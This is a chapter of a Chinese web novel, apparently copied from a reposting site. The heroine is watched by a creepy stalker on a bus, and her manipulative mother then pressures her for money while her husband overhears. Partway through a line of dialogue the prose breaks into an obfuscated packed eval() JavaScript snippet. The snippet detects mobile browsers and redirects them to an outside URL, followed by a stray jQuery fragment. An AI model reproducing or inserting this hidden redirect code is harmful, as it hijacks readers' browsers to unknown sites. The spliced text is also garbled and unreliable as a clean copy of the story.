同蓝依依分别后，云荷挤上了公交车。纪家不缺车和司机，是她不太喜欢让司机接送，在学校更想低调些。


    早上除外。


    她爬不起来，想多睡会儿懒觉。


    下午坐公交回家，她还能随心所欲的买路边摊吃吃。纪家喜欢吃路边摊的就她和纪明扬，钱姨知道了只会说“外面的不卫生想吃什么跟钱姨说，钱姨给你做”这样的话。


    公交车上空座所剩无几，随着这趟乘客上车后陆续坐下，后排仅剩了个空位，还是靠窗的。靠过道的一侧，刚坐下一个戴着黑帽子的男生。


    低头含胸，额前头发长到遮住了大部分眉眼。


    这趟公交是直达的，云荷想了想还是走到后面，客气询问：“请问里面有人吗？麻烦让一下。”


    男生过分瘦弱的手抬起拨弄下帽子，将帽檐压的更低了些。他无声摇头，起身让开。


    这时公交车突然刹车，云荷重心不稳向前方栽去。


    好在被人从后面拉了一把。


    “谢谢啊。”云荷站稳后转头看去，扬唇礼貌道谢。


    男生帽檐下的脸色泛起不正常的红晕，小声结巴：“不，不用谢。你没事吧？”


    云荷坐下：“没事。”


    公交车缓缓行驶，路边略显萧瑟的街景往后消失不见。她困觉的打了个哈欠，注意到男生腿上的布包露出一角，是她再熟悉不过的中文系课本。


    不是很意外。


    她上车那一站就在大学外两百米，可以说是大学生外出的必备选择。


    云荷打起了瞌睡，半梦半醒间，再次察觉到了周身那股黏腻的视线。后背发凉，身子一激灵睁开了眼，不动声色的观察起公交车上的人群。


    经过好几站，乘客上上下下，又上来了一批眼生的。


    她不太确定现在这个和学校里的是不是同一个人，如果是，那就好筛选太多了。巡视一圈后，目光落在旁边正在认真翻阅书籍的男生身上。


    能看清半边瘦削的脸，普通长相，落在人群中很容易隐藏。


    看样子不太像，爱看书的大学生应该不太可能作出暗中偷窥的事吧？云荷估摸不定的想着，好歹这人刚才还拉了自己一把。


    男生一动不敢动，双手双脚僵硬到麻木。公交车到站提示声响起，他把书放回布包里，垂着头安静下车了。


    仿佛没发现云荷的猜忌。


    直到公交车再次启动，走在路边的男生停下了脚步，眼睛死死盯着云荷所在的那扇车窗，脸上浮现起一抹癫狂的笑。


    抬起触碰过云荷的那只右手，深深呼吸了一口气，嗓子眼里挤出沙哑的呢喃。


    “好香~”


    “云荷，你迟早会是我的。”


    哪还有在车上和云荷说话的老实胆小。


    车上的云荷莫名打了个寒颤，按按太阳穴。还好放寒假了，她就不信不去学校了这人还能来她家盯自己。


    到站下车，行人道内侧就已是临江园的范围。海市冬天树木凋零，临江园不同，高矮不一的树木繁盛依旧翠绿。


    隐约能瞧见小洋楼的一角。


    还没走到铁门，云荷就瞧见了在门口徘徊不定的女人。倒是稀奇，居然就来了林慧一人。


    去海城大学上学后，她跟云家人有好几个月没见了。


    云成章好面子，上门求人的事从来不干，觉得丢脸，但架不住有人甘愿为他当牛做马。云荷和纪明慎结婚后，他上纪家的次数寥寥几次，表面疼闺女的功夫做的还不错。


    而林慧借着不放心云荷的理由，刚结婚那几个月，三番五次上门向她索要钱财和让她帮忙解决麻烦。


    云荷岂会还由她拿捏，故意让曾婉莹看到林慧恶狠逼迫她的一幕。曾婉莹应当是看穿了她的小心思，但也顺着她和林慧谈了半小时的话。


    那之后，林慧行事谨慎老实不少，找上云荷的次数也被迫减少了许多。毕竟他们要想在纪家那儿讨到好处，还需要云荷这个中间人。


    这次连大门都不敢进去，想来定是找她的。不出意外的话，是她那好大哥又惹出什么祸事了吧。


    “小荷！”看到从远处走近的云荷，林慧脸上堆起笑容迎上去，“听说这两天你在考试，妈给你煲了汤补补身子。考试考的怎么样，题不难吧？”


    说完拍拍嘴，自责道：“哎呀，你看妈这嘴，考都考完了还说这些做什么。”


    俨然一副疼爱闺女的好妈妈形象。


    云荷不说话，静静的看着她表演。对这迟来的学习上的关心，早就不期待了。


    林慧说了半天，也不见云荷配合，心底怨恨死了这个越发不听话的女儿。谁家闺女嫁出去了不想着娘家，瞧瞧大院里的老钱家。


    他家闺女嫁得还没云荷好呢，都知道时不时的拎大包小包回去接济娘家的兄弟。想到刘香那个女人嘚瑟的嘴脸，巴不得嚷嚷给整个大院听的样子，林慧就满肚子火气。


    她不是什么有耐心的性子，见云荷没反应，垮下脸：“你不说话是几个意思？”


    翻脸比翻书还快。


    云荷反手就把问题抛了回去：“这不是看妈说的起劲儿，不想打扰嘛。以前妈你就说过，在你说话的时候，不喜欢别人打断。”


    林慧被刺了下，偏偏她还找不到理由反驳，只得强行将怒火压制回去。嘴角硬扯出一抹笑：“那是以前，现在妈没这习惯了。小荷，你是不是还在生妈妈的气？”


    开始打感情牌了。


    云荷倒要看看云飞志究竟是惹出多大祸事，才会让林慧如此舍下脸面。


    “妈你这是说的什么话？我有什么可生气的。要不是你和爸，我现在哪能过上这般的好日子。”


    主打一个气死人不偿命。


    “唉，就知道小荷你到底还是怨我的。是我这个当妈的错。可爸妈是真有难处，生了你们兄弟姐妹四个，我们家的日子一直都是勉勉强强过下去的。你最是听话懂事，难免就有些忽略了你。”


    林慧说着抹了抹眼角，苦不由衷的继续说道。


    “自你姐姐没消息后，妈经常会做噩梦惊醒，怕她在那边受人欺负了。下乡那事实在是不得已，你大哥打小被我们惯坏了，要是他去下乡指不定会惹出什么滔天大祸来。”


    “你三哥那时候还小，身子又不好。无奈之下，只能让笑笑顶上去了。妈也后悔过啊，小荷，你是妈唯一的女儿了。”


    林慧佝偻着憔悴的身躯，常年操劳家里家外的脸上多了几条皱纹，眼底发黑。鬓角垂下的发丝半数泛白，把一个疼爱女儿的好母亲形象演绎的淋漓尽致。


    云荷思维发散，要是她之后真能去演戏，说不定还可以向她妈取取经呢。这演戏功底，说没个一二十年，哪能这样真切。


    “妈。”她轻声说，“这事你应该问的是我二姐。”


    云笑笑人如其名，是个很爱笑的女孩。在云家的不公平，丝毫不影响她对未来的热情和美好憧憬。


    云荷和她的通信里，甚至很少听她提起生活的不如意，更多的是遇到的好事和来自祖国西南方的习俗趣事。也不曾提到过林慧云成章，和本该去下乡的云飞志及抢了她原本工作的陈茹。


    好像在她点头去下乡的那一刻，云笑笑就和云家没了关系。


    林慧掩下眼中的心虚，呐呐的说：“笑笑肯定是怨我的，这事都怪我。如果妈能去，宁愿妈替笑笑去下乡啊。”末了留下疑似悔恨的泪水。


    考了两天试的云荷，实在不想再听她的虚情假意了。


    “妈，我有些累。有什么事我们进去说吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298829|182313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。外面好冷。”


    林慧踌躇：“大少爷在家没？”


    纪明慎没醒来前，云家人仅看过他的照片，在那之前还能得意洋洋的称他为女婿。对纪明扬的尊敬都要比对他的多。


    植物人，能不能醒来全靠天意。


    单就这一点上，纪家就永远理亏。云家人没少拿乔。


    纪明慎醒来后，云成章和林慧就开始计划着要再次从纪家捞到实实在在的好处。在他们心里，纪明慎能醒来，全都是云荷这个小女儿的功劳。


    他们是云荷的家人，要点好处不过分吧。


    比如，云成章在食品厂的职位往上升一升，给林慧换个坐办公室的轻松工作，再给飞志买杨宁路段看中的那套房子……


    想象很美好，现实残酷。


    云成章和林慧见到了纪明慎，仅仅一次就歇了在他身上讨好处的心思。这样的人物，不是他们能随意轻松对付的，果然，好处不是那么容易拿到手的。


    云家人老实了一阵子，不敢作妖。


    “不知道。”云荷说。


    不等林慧欣喜，就听她接着说：“大概率是在的。妈，你可是他岳母，怕什么。碰面他就是你小辈呀。”


    不知是不是林慧的错觉，这话总有几分阴阳怪气的意味。一股无名火涌上心头。


    想到飞志的麻烦事还要云荷和纪家人的帮忙：“小荷，我就不进去了。这次妈来，是有事和你商量。家里出了点事，你去问纪大少爷要点钱。”


    云荷：？？？


    她没听错吧，这叫商量？只差没直接把手伸进纪明慎的兜里掏钱了。


    有时候，她真的很佩服云家人睁眼说瞎话的本事。


    “妈，我很想帮你的呀，但你知道的我不管钱。我也害怕明慎哥，他好凶的。要不我进去喊你女婿出来？您是长辈，和他好说话些。”


    上回没从她手上拿到钱，还不死心是吧。


    云荷死活就俩字，‘没钱’，要钱自己去找纪明慎。把锅都推他身上，明慎哥那么好的人，想来是不会怪她这个没爹娘疼的小可怜的。


    在庭院和好友散步闲谈的纪明慎恰好路过门口，又恰好清楚听见了云荷的话。


    “女婿？说话的那两人就是你那小妻子和丈母娘吧。啧，上次见着瞧着挺乖巧一女孩子，原来还有两副面孔。”


    好友喻子晋做贼似的往围墙边凑了凑，挤眉弄眼的透过铁栅栏看到不远处的母女俩，边看边感概。


    “你小妻子说你凶呢，什么感觉？”他揶揄坏笑道。


    纪明慎心平气和：“没感觉。我和她什么情况你不知道？少来起哄。”


    难道他平时的态度真不好？明扬倒是说他‘太严厉’过。他回想那些相处时日，迟疑：应该不会很‘凶’吧？


    “哦，是吗？”


    喻家根基不在海市，两人会成为至交好友，是喻家早年手上不太干净，且人口复杂。喻子晋的爸妈皆是死于家族斗乱，年幼的他被喻老爷子送到喻母的娘家，也就是海市。


    直至成年，有了自保能力后才主动选择回去。


    “回来，别偷看了。”纪明慎没眼看他狗狗祟祟的模样。伤眼睛。


    喻子晋拒绝：“不，我帮你听听她们还要说什么。”


    顿了几秒后，为了好兄弟的未来，诚心建议：“老纪啊，这点就是你的不对了，有错我们就改，知道不？你以为谁都有你这样的好运气啊，一觉醒来就有老婆了。你看人长得也不差，挺年轻漂亮的一小姑娘。”


    “你现在别嘴硬不知道珍惜，到时候老婆跑了我可不会让我家小宝来安慰你的。这颗嫩草我瞧着真不错，你这只老牛就别挑挑拣拣的了。”


    纪明慎：……


    有时候就很烦喻子晋那张破嘴。